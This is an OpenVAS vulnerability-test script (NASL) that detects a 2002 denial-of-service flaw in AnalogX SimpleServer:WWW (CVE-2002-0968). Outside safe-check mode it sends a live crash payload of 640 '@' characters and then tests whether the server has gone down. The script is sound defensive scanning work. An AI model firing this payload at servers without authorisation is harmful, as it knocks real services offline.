AnalogX SimpleServer:WWW DoS

# OpenVAS Vulnerability Test
# $Id: simpleserverwww_dos.nasl 8023 2017-12-07 08:36:26Z teissa $
# Description: AnalogX SimpleServer:WWW  DoS
#
# Authors:
# Michel Arboi <[email protected]>
#
# Copyright:
# Copyright (C) 2002 Michel Arboi
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2,
# as published by the Free Software Foundation
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
#

tag_summary = "It was possible to kill the remote web server by sending 640 @ 
character to it.

A cracker may use this flaw to make your server crash continuously, 
preventing it from working properly.";

tag_solution = "upgrade your software or use another
HTTP server.";

# Rerefence:
# To: [email protected]
# From:"Fort _" <[email protected]>
# Subject: Remote DoS in AnalogX SimpleServer:www 1.16
# Message-ID: <[email protected]>

if(description)
{
 script_id(11035);
 script_version("$Revision: 8023 $");
 script_tag(name:"last_modification", value:"$Date: 2017-12-07 09:36:26 +0100 (Thu, 07 Dec 2017) $");
 script_tag(name:"creation_date", value:"2005-11-03 14:08:04 +0100 (Thu, 03 Nov 2005)");
 script_bugtraq_id(5006);
 script_tag(name:"cvss_base", value:"7.5");
 script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
 script_cve_id("CVE-2002-0968");
 script_name("AnalogX SimpleServer:WWW  DoS");
 

 
 script_category(ACT_MIXED_ATTACK);
  script_tag(name:"qod_type", value:"remote_active");
 
 
 script_copyright("This script is Copyright (C) 2002 Michel Arboi");
 family = "Denial of Service";
 script_family(family);
 script_dependencies("find_service.nasl", "http_version.nasl");
 script_require_ports("Services/www", 80);
 script_require_keys("www/simpleserver");
 script_tag(name : "solution" , value : tag_solution);
 script_tag(name : "summary" , value : tag_summary);
 exit(0);
}

# The script code starts here

include("http_func.inc");

port = get_http_port(default:80);

if(!get_port_state(port)) exit(0);

banner = get_http_banner(port: port);
if (! banner) exit(0);
if(!egrep(pattern:"^Server: *SimpleServer:WWW", string:banner))exit(0);

if (safe_checks())
{
  if (egrep(pattern:"^Server: *SimpleServer:WWW/1.[01]", string:banner))
  {
    security_message(port: port, data:"According ot its version number, 
it should be possible to kill your remote SimpleServer web server 
by sending 640 @ character to it.

A cracker may use this flaw to make your server crash continuously, 
preventing it from working properly.

Solution: upgrade your software or use another
HTTP server.");
   }
  exit(0);
}

soc = open_sock_tcp(port);
if(!soc) exit(0);

send(socket:soc, data:string(crap(length:640, data:"@"), "\r\n\r\n"));
r = http_recv(socket:soc);
close(soc);

soc = open_sock_tcp(port);
if(soc) { close(soc); exit(0); }

security_message(port);